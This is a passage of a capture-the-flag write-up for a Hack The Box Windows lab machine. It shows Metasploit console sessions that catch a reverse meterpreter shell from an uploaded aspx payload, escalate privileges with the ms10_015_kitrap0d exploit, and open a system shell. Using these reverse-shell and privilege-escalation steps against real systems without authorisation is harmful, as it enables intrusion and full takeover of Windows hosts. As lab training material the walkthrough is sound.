As you can see, we will need to set the LHOST and LPORT. The LHOST will be your machines IP and LPORT will be the port set when we created the payload using msfvenom. Remember, your LPORT may need to be set to tun0 if using HTB PWNBOX.

Set these options by using the "set" command followed by the option name and its setting.

msf6 exploit(multi/handler) > set LHOST tun0
LHOST => 10.10.14.75
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > 

Type "run" and hit Enter. Then, open your web browser and navigate to our aspx file on the server by typing the ip address of the target machine followed by "/" then the aspx file name. For example, "10.129.232.194/devel.aspx". Once the page loads, a meterpreter session will populate in your Metasploit terminal. You are now connected.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.75:1234 
[*] Sending stage (175174 bytes) to 10.129.247.224
[*] Meterpreter session 1 opened (10.10.14.75:1234 -> 10.129.247.224:49159) at 2022-05-01 20:10:00 +0100

meterpreter > 

From here, we will need to do some basic privilege escalation using Metasploit. Let's background this session by using the "background" command and then using the "search" command, search for kitra. ms10_015_kitrap0d is a privilege escalation exploit that will work with this machine.

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search kitra

Matching Modules
================

   #  Name                                     Disclosure Date  Rank   Check  Description
   -  ----                                     ---------------  ----   -----  -----------
   0  exploit/windows/local/ms10_015_kitrap0d  2010-01-19       great  Yes    Windows SYSTEM Escalation via KiTrap0D


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/ms10_015_kitrap0d

msf6 exploit(multi/handler) > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > 

If you ever need suggestions for which exploit to run for a meterpreter session, you can use Metasploits suggester. To use the suggester, type "search suggester" and use the Multi Recon Local Exploit Suggester. Once the module is loaded, set the SESSION option to the desired meterpreter session you have in the background, type "run" and hit Enter. This will give you suggested exploits for that meterpreter session.

Let's now view the exploit options using the "show options" command and setting the options accordingly. Your SESSION option should be set to whatever session number is assigned to the meterpreter session you put in the background. To view your background meterpreter sessions, you can use the "sessions" command. It should be 1 if you had no other sessions running in Metasploit. Remember to set your LHOST accordingly.

msf6 exploit(windows/local/ms10_015_kitrap0d) > show options

Module options (exploit/windows/local/ms10_015_kitrap0d):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh
                                        , thread, process, none)
   LHOST     159.203.63.76    yes       The listen address (an interface
                                        may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)


msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/local/ms10_015_kitrap0d) > 

Now we can run the exploit using the "run" command to get a new meterpreter session.

msf6 exploit(windows/local/ms10_015_kitrap0d) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Started reverse TCP handler on 10.10.14.75:4444 
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 3124 launched.
[*] Reflectively injecting the DLL into 3124...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.129.247.224
[*] Meterpreter session 2 opened (10.10.14.75:4444 -> 10.129.247.224:49162) at 2022-05-01 20:47:04 +0100

meterpreter > 

Success! We can now type "shell" and hit Enter to get a shell on the target system!

meterpreter > shell
Process 3824 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>

Congrats! After successfully completing privilege escalation on the target system, you can now obtain the root and user .txt flags which are located within the user and administrator's Desktop folders.